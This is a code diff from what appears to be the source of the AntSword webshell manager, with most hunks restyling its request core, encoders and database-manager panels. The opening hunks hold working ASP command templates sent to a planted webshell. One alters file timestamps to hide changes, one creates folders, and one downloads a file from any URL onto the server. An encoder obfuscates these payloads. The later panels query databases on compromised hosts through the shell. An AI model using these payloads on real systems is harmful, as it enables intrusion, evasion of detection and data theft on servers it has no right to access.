_: _: `FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
`FN=bd(Request("${arg1}")):TM=bd(Request("${arg2}")):AA=Split(FN,"\\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)`,
[arg1]: "#{hex::path}", [arg1]: "#{hex::path}",
[arg2]: "#{hex::time}" [arg2]: "#{hex::time}"
}, },
mkdir: { mkdir: {
_: _: `Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
`Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder(bd(Request("${arg1}"))):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)`,
[arg1]: "#{hex::path}" [arg1]: "#{hex::path}"
}, },
wget: { wget: {
_: _: `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
[arg1]: "#{hex::url}", [arg1]: "#{hex::url}",
[arg2]: "#{hex::path}" [arg2]: "#{hex::path}"
} }
......
...@@ -28,10 +28,10 @@ function string2unicode(str) { ...@@ -28,10 +28,10 @@ function string2unicode(str) {
} }
/* /*
* @param {String} pwd 连接密码 * @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data, ext = {}) => { module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u'); data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload // 删除 _ 原有的payload
......
...@@ -30,7 +30,7 @@ class Base { ...@@ -30,7 +30,7 @@ class Base {
* @param {Object} data 请求数据 * @param {Object} data 请求数据
* @return {Object} 生成数据 * @return {Object} 生成数据
*/ */
default(pwd, data) { default (pwd, data) {
data[pwd] = data['_']; data[pwd] = data['_'];
delete data['_']; delete data['_'];
return data; return data;
...@@ -161,7 +161,7 @@ class Base { ...@@ -161,7 +161,7 @@ class Base {
// 解析模板 // 解析模板
for (let funcName in templateObj) { for (let funcName in templateObj) {
this[templateName][funcName] = ((args) => { this[templateName][funcName] = ((args) => {
if (typeof(args) === 'object') { if (typeof (args) === 'object') {
// 如果脚本函数需要参数,则进行解析 // 如果脚本函数需要参数,则进行解析
return (argv) => { return (argv) => {
let data = {}; let data = {};
...@@ -194,7 +194,9 @@ class Base { ...@@ -194,7 +194,9 @@ class Base {
} }
} else { } else {
// 否则直接返回 // 否则直接返回
return () => ({_: args}); return () => ({
_: args
});
} }
})(templateObj[funcName]); })(templateObj[funcName]);
} }
...@@ -211,16 +213,18 @@ class Base { ...@@ -211,16 +213,18 @@ class Base {
// https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870 // https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)]; delete require.cache[require.resolve(`${enc}`)];
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~ // QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.indexOf(`encoder/`) > -1 this['__encoder__'][enc.indexOf(`encoder/`) > -1 ?
? enc.split(`encoder/`)[1] enc.split(`encoder/`)[1] :
: enc.split(`encoder\\`)[1]] = require(`${enc}`); enc.split(`encoder\\`)[1]
] = require(`${enc}`);
} }
parseDecoder(dec) { parseDecoder(dec) {
delete require.cache[require.resolve(`${dec}`)]; delete require.cache[require.resolve(`${dec}`)];
this['__decoder__'][dec.indexOf(`decoder/`) > -1 this['__decoder__'][dec.indexOf(`decoder/`) > -1 ?
? dec.split(`decoder/`)[1] dec.split(`decoder/`)[1] :
: dec.split(`decoder\\`)[1]] = require(`${dec}`); dec.split(`decoder\\`)[1]
] = require(`${dec}`);
} }
/** /**
...@@ -237,7 +241,11 @@ class Base { ...@@ -237,7 +241,11 @@ class Base {
} }
// 编码器处理 // 编码器处理
let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext); let finalData = this.__encoder__[this.__opts__['encoder']](this.__opts__['pwd'], data, ext);
return {'tag_s': tag_s, 'tag_e': tag_e, 'data': finalData}; return {
'tag_s': tag_s,
'tag_e': tag_e,
'data': finalData
};
} }
/** /**
...@@ -255,7 +263,7 @@ class Base { ...@@ -255,7 +263,7 @@ class Base {
} }
return new Promise((res, rej) => { return new Promise((res, rej) => {
// 随机ID(用于监听数据来源) // 随机ID(用于监听数据来源)
const hash = (String(+ new Date) + String(Math.random())) const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10) .substr(10, 10)
.replace('.', '_'); .replace('.', '_');
// 监听数据返回 // 监听数据返回
...@@ -265,10 +273,12 @@ class Base { ...@@ -265,10 +273,12 @@ class Base {
let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext); let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);
let encoding = antSword let encoding = antSword
.Decodes .Decodes
.detectEncoding(buff, {defaultEncoding: "unknown"}); .detectEncoding(buff, {
encoding = encoding != "unknown" defaultEncoding: "unknown"
? encoding });
: this.__opts__['encode']; encoding = encoding != "unknown" ?
encoding :
this.__opts__['encode'];
let text = antSword let text = antSword
.Decodes .Decodes
.decode(buff, encoding); .decode(buff, encoding);
...@@ -280,9 +290,9 @@ class Base { ...@@ -280,9 +290,9 @@ class Base {
}) })
// HTTP请求返回字节流 // HTTP请求返回字节流
.on(`request-chunk-${hash}`, (event, ret) => { .on(`request-chunk-${hash}`, (event, ret) => {
return chunkCallBack return chunkCallBack ?
? chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret)) chunkCallBack(this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret)) :
: null; null;
}) })
// 数据请求错误 // 数据请求错误
.once(`request-error-${hash}`, (event, ret) => { .once(`request-error-${hash}`, (event, ret) => {
...@@ -319,7 +329,7 @@ class Base { ...@@ -319,7 +329,7 @@ class Base {
const opt = this.complete(postCode, true); const opt = this.complete(postCode, true);
return new Promise((ret, rej) => { return new Promise((ret, rej) => {
// 随机ID(用于监听数据来源) // 随机ID(用于监听数据来源)
const hash = (String(+ new Date) + String(Math.random())) const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10) .substr(10, 10)
.replace('.', '_'); .replace('.', '_');
// 监听数据返回 // 监听数据返回
...@@ -330,9 +340,9 @@ class Base { ...@@ -330,9 +340,9 @@ class Base {
}) })
// HTTP请求返回字节流大小 // HTTP请求返回字节流大小
.on(`download-progress-${hash}`, (event, size) => { .on(`download-progress-${hash}`, (event, size) => {
return progressCallback return progressCallback ?
? progressCallback(size) progressCallback(size) :
: null; null;
}) })
// 数据请求错误 // 数据请求错误
.once(`download-error-${hash}`, (event, ret) => { .once(`download-error-${hash}`, (event, ret) => {
......
...@@ -9,11 +9,11 @@ const rot13encode = (s) => { ...@@ -9,11 +9,11 @@ const rot13encode = (s) => {
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is // Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" return String.fromCharCode((c <= "Z" ?
? 90 90 :
: 122) >= (c = c.charCodeAt(0) + 13) 122) >= (c = c.charCodeAt(0) + 13) ?
? c c :
: c - 26); c - 26);
}); });
}; };
......
...@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => { ...@@ -11,11 +11,11 @@ module.exports = (pwd, data, ext = null) => {
return s.replace(/[a-zA-Z]/g, function (c) { return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is // Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around. // larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" return String.fromCharCode((c <= "Z" ?
? 90 90 :
: 122) >= (c = c.charCodeAt(0) + 13) 122) >= (c = c.charCodeAt(0) + 13) ?
? c c :
: c - 26); c - 26);
}); });
} }
......
...@@ -14,9 +14,9 @@ const languages = { ...@@ -14,9 +14,9 @@ const languages = {
let lang = antSword['storage']('language', false, navigator.language.substr(0, 2)); let lang = antSword['storage']('language', false, navigator.language.substr(0, 2));
// 判断本地设置语言是否符合语言模板 // 判断本地设置语言是否符合语言模板
lang = languages[lang] lang = languages[lang] ?
? lang lang :
: 'en'; 'en';
// 返回语言模板 // 返回语言模板
let langModule = require(`./${lang}`); let langModule = require(`./${lang}`);
......
...@@ -10,7 +10,10 @@ ...@@ -10,7 +10,10 @@
// 添加源码目录到全局模块加载变量,以提供后边加载 // 添加源码目录到全局模块加载变量,以提供后边加载
const path = require('path'); const path = require('path');
const Module = require('module').Module; const Module = require('module').Module;
const {remote} = require('electron'); const {
remote
} = require('electron');
Module Module
.globalPaths .globalPaths
.push(path.join(remote.process.env.AS_WORKDIR, 'source')); .push(path.join(remote.process.env.AS_WORKDIR, 'source'));
...@@ -39,9 +42,9 @@ window.addEventListener('load', () => { ...@@ -39,9 +42,9 @@ window.addEventListener('load', () => {
}; };
for (let k in o) { for (let k in o) {
if (new RegExp("(" + k + ")").test(format)) { if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 format = format.replace(RegExp.$1, RegExp.$1.length == 1 ?
? o[k] o[k] :
: ("00" + o[k]).substr(("" + o[k]).length)); ("00" + o[k]).substr(("" + o[k]).length));
} }
} }
return format; return format;
...@@ -107,16 +110,37 @@ window.addEventListener('load', () => { ...@@ -107,16 +110,37 @@ window.addEventListener('load', () => {
} }
loadingUI(); loadingUI();
// 开始加载css // 开始加载css
loadCSS('ant-static://libs/bmenu/bmenu.css').then(() => loadCSS('ant-static://libs/toastr/toastr.min.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css')).then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css')).then(() => loadCSS('ant-static://libs/laydate/need/laydate.css')).then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css')).then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css')).then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css')).then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css')).then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css')).then(() => loadCSS('ant-static://css/index.css')); loadCSS('ant-static://libs/bmenu/bmenu.css')
.then(() => loadCSS('ant-static://libs/toastr/toastr.min.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.css'))
.then(() => loadCSS('ant-static://libs/layer/src/skin/layer.ext.css'))
.then(() => loadCSS('ant-static://libs/laydate/need/laydate.css'))
.then(() => loadCSS('ant-static://libs/laydate/skins/default/laydate.css'))
.then(() => loadCSS('ant-static://libs/terminal/css/jquery.terminal-1.1.1.css'))
.then(() => loadCSS('ant-static://libs/font-awesome/css/font-awesome.min.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/codebase/dhtmlx.css'))
.then(() => loadCSS('ant-static://libs/dhtmlx/skins/mytheme/dhtmlx.css'))
.then(() => loadCSS('ant-static://css/index.css'));
// 加载js资源 // 加载js资源
loadJS('ant-static://libs/jquery/jquery.js').then(() => loadJS('ant-static://libs/ace/ace.js')).then(() => loadJS('ant-static://libs/ace/ext-language_tools.js')).then(() => loadJS('ant-static://libs/bmenu/bmenu.js')).then(() => loadJS('ant-static://libs/toastr/toastr.js')).then(() => loadJS('ant-static://libs/layer/src/layer.js')).then(() => loadJS('ant-static://libs/laydate/laydate.js')).then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js')).then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js')).then(() => { loadJS('ant-static://libs/jquery/jquery.js')
.then(() => loadJS('ant-static://libs/ace/ace.js'))
.then(() => loadJS('ant-static://libs/ace/ext-language_tools.js'))
.then(() => loadJS('ant-static://libs/bmenu/bmenu.js'))
.then(() => loadJS('ant-static://libs/toastr/toastr.js'))
.then(() => loadJS('ant-static://libs/layer/src/layer.js'))
.then(() => loadJS('ant-static://libs/laydate/laydate.js'))
.then(() => loadJS('ant-static://libs/terminal/js/jquery.terminal-min-1.1.1.js'))
.then(() => loadJS('ant-static://libs/dhtmlx/codebase/dhtmlx.js'))
.then(() => {
/** /**
* 配置layer弹出层 * 配置layer弹出层
* @param {[type]} {extend: 'extend/layer.ext.js'} [description] * @param {[type]} {extend: 'extend/layer.ext.js'} [description]
* @return {[type]} [description] * @return {[type]} [description]
*/ */
layer.config({extend: 'extend/layer.ext.js'}); layer.config({
extend: 'extend/layer.ext.js'
});
// 加载程序入口 // 加载程序入口
require('app.entry'); require('app.entry');
// LOGO // LOGO
......
...@@ -42,9 +42,9 @@ class ASP { ...@@ -42,9 +42,9 @@ class ASP {
.tree .tree
.attachEvent('onClick', (id) => { .attachEvent('onClick', (id) => {
// 更改按钮状态 // 更改按钮状态
id.startsWith('conn::') id.startsWith('conn::') ?
? this.enableToolbar() this.enableToolbar() :
: this.disableToolbar(); this.disableToolbar();
// 设置当前配置 // 设置当前配置
const tmp = id.split('::'); const tmp = id.split('::');
const arr = tmp[1].split(':'); const arr = tmp[1].split(':');
...@@ -125,8 +125,7 @@ class ASP { ...@@ -125,8 +125,7 @@ class ASP {
this this
.tree .tree
.callEvent('onClick', [id]); .callEvent('onClick', [id]);
bmenu([ bmenu([{
{
text: LANG['list']['menu']['add'], text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle', icon: 'fa fa-plus-circle',
action: this action: this
...@@ -148,8 +147,7 @@ class ASP { ...@@ -148,8 +147,7 @@ class ASP {
action: this action: this
.delConf .delConf
.bind(this) .bind(this)
} }], event);
], event);
}); });
} }
...@@ -188,7 +186,7 @@ class ASP { ...@@ -188,7 +186,7 @@ class ASP {
// 添加配置 // 添加配置
addConf() { addConf() {
const hash = (+ new Date * Math.random()) const hash = (+new Date * Math.random())
.toString(16) .toString(16)
.substr(2, 8); .substr(2, 8);
// 创建窗口 // 创建窗口
...@@ -205,8 +203,7 @@ class ASP { ...@@ -205,8 +203,7 @@ class ASP {
win.denyResize(); win.denyResize();
// 工具栏 // 工具栏
const toolbar = win.attachToolbar(); const toolbar = win.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'add', id: 'add',
type: 'button', type: 'button',
icon: 'plus-circle', icon: 'plus-circle',
...@@ -225,12 +222,10 @@ class ASP { ...@@ -225,12 +222,10 @@ class ASP {
type: 'button', type: 'button',
icon: 'spinner', icon: 'spinner',
text: LANG['form']['toolbar']['test'] text: LANG['form']['toolbar']['test']
} }]);
]);
// form // form
const form = win.attachForm([ const form = win.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 80, labelWidth: 80,
...@@ -239,8 +234,7 @@ class ASP { ...@@ -239,8 +234,7 @@ class ASP {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['type'], label: LANG['form']['type'],
readonly: true, readonly: true,
...@@ -262,16 +256,16 @@ class ASP { ...@@ -262,16 +256,16 @@ class ASP {
required: true, required: true,
value: 'Dsn=DsnName;', value: 'Dsn=DsnName;',
rows: 9 rows: 9
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') { if (_ !== 'type') {
return return
}; };
form.setFormData({conn: this.conns[id]}); form.setFormData({
conn: this.conns[id]
});
}); });
// 工具栏点击事件 // 工具栏点击事件
...@@ -309,7 +303,9 @@ class ASP { ...@@ -309,7 +303,9 @@ class ASP {
win.progressOn(); win.progressOn();
this this
.core .core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']})) .request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => { .then((res) => {
if (res['text'].length > 0) { if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) { if (res['text'].indexOf("ERROR://") > -1) {
...@@ -341,7 +337,7 @@ class ASP { ...@@ -341,7 +337,7 @@ class ASP {
_id: this.manager.opt['_id'], _id: this.manager.opt['_id'],
id: id id: id
}); });
const hash = (+ new Date * Math.random()) const hash = (+new Date * Math.random())
.toString(16) .toString(16)
.substr(2, 8); .substr(2, 8);
// 创建窗口 // 创建窗口
...@@ -358,8 +354,7 @@ class ASP { ...@@ -358,8 +354,7 @@ class ASP {
win.denyResize(); win.denyResize();
// 工具栏 // 工具栏
const toolbar = win.attachToolbar(); const toolbar = win.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'edit', id: 'edit',
type: 'button', type: 'button',
icon: 'edit', icon: 'edit',
...@@ -378,12 +373,10 @@ class ASP { ...@@ -378,12 +373,10 @@ class ASP {
type: 'button', type: 'button',
icon: 'spinner', icon: 'spinner',
text: LANG['form']['toolbar']['test'] text: LANG['form']['toolbar']['test']
} }]);
]);
// form // form
const form = win.attachForm([ const form = win.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 80, labelWidth: 80,
...@@ -392,8 +385,7 @@ class ASP { ...@@ -392,8 +385,7 @@ class ASP {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['type'], label: LANG['form']['type'],
readonly: true, readonly: true,
...@@ -416,16 +408,16 @@ class ASP { ...@@ -416,16 +408,16 @@ class ASP {
required: true, required: true,
value: conf['conn'], value: conf['conn'],
rows: 9 rows: 9
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') { if (_ !== 'type') {
return return
}; };
form.setFormData({conn: this.conns[id]}); form.setFormData({
conn: this.conns[id]
});
}); });
// 工具栏点击事件 // 工具栏点击事件
...@@ -463,7 +455,9 @@ class ASP { ...@@ -463,7 +455,9 @@ class ASP {
win.progressOn(); win.progressOn();
this this
.core .core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']})) .request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => { .then((res) => {
if (res['text'].length > 0) { if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) { if (res['text'].indexOf("ERROR://") > -1) {
...@@ -532,9 +526,9 @@ class ASP { ...@@ -532,9 +526,9 @@ class ASP {
.core .core
.request(this.core[`database_${conf['type']}`].show_databases({ .request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'], conn: conf['conn'],
dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
? conf['conn'].match(/[\w]+.mdb$/) conf['conn'].match(/[\w]+.mdb$/) :
: 'database' 'database'
})) }))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
...@@ -597,7 +591,10 @@ class ASP { ...@@ -597,7 +591,10 @@ class ASP {
this this
.core .core
.request(this.core[`database_${conf['type']}`].show_tables({conn: conf['conn'], dbname: db})) .request(this.core[`database_${conf['type']}`].show_tables({
conn: conf['conn'],
dbname: db
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) { if (ret.indexOf("ERROR://") > -1) {
...@@ -671,7 +668,10 @@ class ASP { ...@@ -671,7 +668,10 @@ class ASP {
} }
this this
.core .core
.request(this.core[`database_${conf['type']}`].show_columns({conn: conf['conn'], table: sql})) .request(this.core[`database_${conf['type']}`].show_columns({
conn: conf['conn'],
table: sql
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) { if (ret.indexOf("ERROR://") > -1) {
...@@ -745,7 +745,11 @@ class ASP { ...@@ -745,7 +745,11 @@ class ASP {
this this
.core .core
.request(this.core[`database_${this.dbconf['type']}`].query({conn: this.dbconf['conn'], sql: sql, dbname: this.dbconf['database']})) .request(this.core[`database_${this.dbconf['type']}`].query({
conn: this.dbconf['conn'],
sql: sql,
dbname: this.dbconf['database']
}))
.then((res) => { .then((res) => {
let ret = res['text']; let ret = res['text'];
if (ret.indexOf("ERROR://") > -1) { if (ret.indexOf("ERROR://") > -1) {
...@@ -823,9 +827,9 @@ class ASP { ...@@ -823,9 +827,9 @@ class ASP {
'rows': grid_data 'rows': grid_data
}, 'json'); }, 'json');
// 启用导出按钮 // 启用导出按钮
this.manager.result.toolbar[grid_data.length > 0 this.manager.result.toolbar[grid_data.length > 0 ?
? 'enableItem' 'enableItem' :
: 'disableItem']('dump'); 'disableItem']('dump');
} }
// 导出查询数据 // 导出查询数据
...@@ -840,7 +844,8 @@ class ASP { ...@@ -840,7 +844,8 @@ class ASP {
.__opts__ .__opts__
.ip}_${new Date() .ip}_${new Date()
.format("yyyyMMddhhmmss")}.csv`; .format("yyyyMMddhhmmss")}.csv`;
dialog.showSaveDialog({title: LANG['result']['dump']['title'], dialog.showSaveDialog({
title: LANG['result']['dump']['title'],
defaultPath: filename defaultPath: filename
}, (filePath) => { }, (filePath) => {
if (!filePath) { if (!filePath) {
......
...@@ -36,9 +36,9 @@ class CUSTOM { ...@@ -36,9 +36,9 @@ class CUSTOM {
.tree .tree
.attachEvent('onClick', (id) => { .attachEvent('onClick', (id) => {
// 更改按钮状态 // 更改按钮状态
id.startsWith('conn::') id.startsWith('conn::') ?
? this.enableToolbar() this.enableToolbar() :
: this.disableToolbar(); this.disableToolbar();
// 设置当前配置 // 设置当前配置
const tmp = id.split('::'); const tmp = id.split('::');
const arr = tmp[1].split(':'); const arr = tmp[1].split(':');
...@@ -109,8 +109,7 @@ class CUSTOM { ...@@ -109,8 +109,7 @@ class CUSTOM {
this this
.tree .tree
.callEvent('onClick', [id]); .callEvent('onClick', [id]);
bmenu([ bmenu([{
{
text: LANG['list']['menu']['add'], text: LANG['list']['menu']['add'],
icon: 'fa fa-plus-circle', icon: 'fa fa-plus-circle',
action: this action: this
...@@ -132,8 +131,7 @@ class CUSTOM { ...@@ -132,8 +131,7 @@ class CUSTOM {
action: this action: this
.delConf .delConf
.bind(this) .bind(this)
} }], event);
], event);
}); });
} }
...@@ -172,7 +170,7 @@ class CUSTOM { ...@@ -172,7 +170,7 @@ class CUSTOM {
// 添加配置 // 添加配置
addConf() { addConf() {
const hash = (+ new Date * Math.random()) const hash = (+new Date * Math.random())
.toString(16) .toString(16)
.substr(2, 8); .substr(2, 8);
// 创建窗口 // 创建窗口
...@@ -189,8 +187,7 @@ class CUSTOM { ...@@ -189,8 +187,7 @@ class CUSTOM {
win.denyResize(); win.denyResize();
// 工具栏 // 工具栏
const toolbar = win.attachToolbar(); const toolbar = win.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'add', id: 'add',
type: 'button', type: 'button',
icon: 'plus-circle', icon: 'plus-circle',
...@@ -209,12 +206,10 @@ class CUSTOM { ...@@ -209,12 +206,10 @@ class CUSTOM {
type: 'button', type: 'button',
icon: 'spinner', icon: 'spinner',
text: LANG['form']['toolbar']['test'] text: LANG['form']['toolbar']['test']
} }]);
]);
// form // form
const form = win.attachForm([ const form = win.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 80, labelWidth: 80,
...@@ -223,8 +218,7 @@ class CUSTOM { ...@@ -223,8 +218,7 @@ class CUSTOM {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['type'], label: LANG['form']['type'],
readonly: true, readonly: true,
...@@ -246,16 +240,16 @@ class CUSTOM { ...@@ -246,16 +240,16 @@ class CUSTOM {
required: true, required: true,
value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
rows: 9 rows: 9
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') { if (_ !== 'type') {
return return
}; };
form.setFormData({conn: this.conns[id]}); form.setFormData({
conn: this.conns[id]
});
}); });
// 工具栏点击事件 // 工具栏点击事件
...@@ -293,7 +287,9 @@ class CUSTOM { ...@@ -293,7 +287,9 @@ class CUSTOM {
win.progressOn(); win.progressOn();
this this
.core .core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']})) .request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => { .then((res) => {
if (res['text'].length > 0) { if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) { if (res['text'].indexOf("ERROR://") > -1) {
...@@ -325,7 +321,7 @@ class CUSTOM { ...@@ -325,7 +321,7 @@ class CUSTOM {
_id: this.manager.opt['_id'], _id: this.manager.opt['_id'],
id: id id: id
}); });
const hash = (+ new Date * Math.random()) const hash = (+new Date * Math.random())
.toString(16) .toString(16)
.substr(2, 8); .substr(2, 8);
// 创建窗口 // 创建窗口
...@@ -342,8 +338,7 @@ class CUSTOM { ...@@ -342,8 +338,7 @@ class CUSTOM {
win.denyResize(); win.denyResize();
// 工具栏 // 工具栏
const toolbar = win.attachToolbar(); const toolbar = win.attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'edit', id: 'edit',
type: 'button', type: 'button',
icon: 'edit', icon: 'edit',
...@@ -362,12 +357,10 @@ class CUSTOM { ...@@ -362,12 +357,10 @@ class CUSTOM {
type: 'button', type: 'button',
icon: 'spinner', icon: 'spinner',
text: LANG['form']['toolbar']['test'] text: LANG['form']['toolbar']['test']
} }]);
]);
// form // form
const form = win.attachForm([ const form = win.attachForm([{
{
type: 'settings', type: 'settings',
position: 'label-left', position: 'label-left',
labelWidth: 80, labelWidth: 80,
...@@ -376,8 +369,7 @@ class CUSTOM { ...@@ -376,8 +369,7 @@ class CUSTOM {
type: 'block', type: 'block',
inputWidth: 'auto', inputWidth: 'auto',
offsetTop: 12, offsetTop: 12,
list: [ list: [{
{
type: 'combo', type: 'combo',
label: LANG['form']['type'], label: LANG['form']['type'],
readonly: true, readonly: true,
...@@ -400,16 +392,16 @@ class CUSTOM { ...@@ -400,16 +392,16 @@ class CUSTOM {
required: true, required: true,
value: conf['conn'], value: conf['conn'],
rows: 9 rows: 9
} }]
] }], true);
}
], true);
form.attachEvent('onChange', (_, id) => { form.attachEvent('onChange', (_, id) => {
if (_ !== 'type') { if (_ !== 'type') {
return return
}; };
form.setFormData({conn: this.conns[id]}); form.setFormData({
conn: this.conns[id]
});
}); });
// 工具栏点击事件 // 工具栏点击事件
...@@ -448,7 +440,9 @@ class CUSTOM { ...@@ -448,7 +440,9 @@ class CUSTOM {
win.progressOn(); win.progressOn();
this this
.core .core
.request(this.core[`database_${_data['type']}`].show_databases({conn: _data['conn']})) .request(this.core[`database_${_data['type']}`].show_databases({
conn: _data['conn']
}))
.then((res) => { .then((res) => {
if (res['text'].length > 0) { if (res['text'].length > 0) {
if (res['text'].indexOf("ERROR://") > -1) { if (res['text'].indexOf("ERROR://") > -1) {
...@@ -517,9 +511,9 @@ class CUSTOM { ...@@ -517,9 +511,9 @@ class CUSTOM {
.request(this.core[`database_${conf['type']}`].show_databases({ .request(this.core[`database_${conf['type']}`].show_databases({
conn: conf['conn'], conn: conf['conn'],
encode: this.manager.opt.encode, encode: this.manager.opt.encode,
db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ?
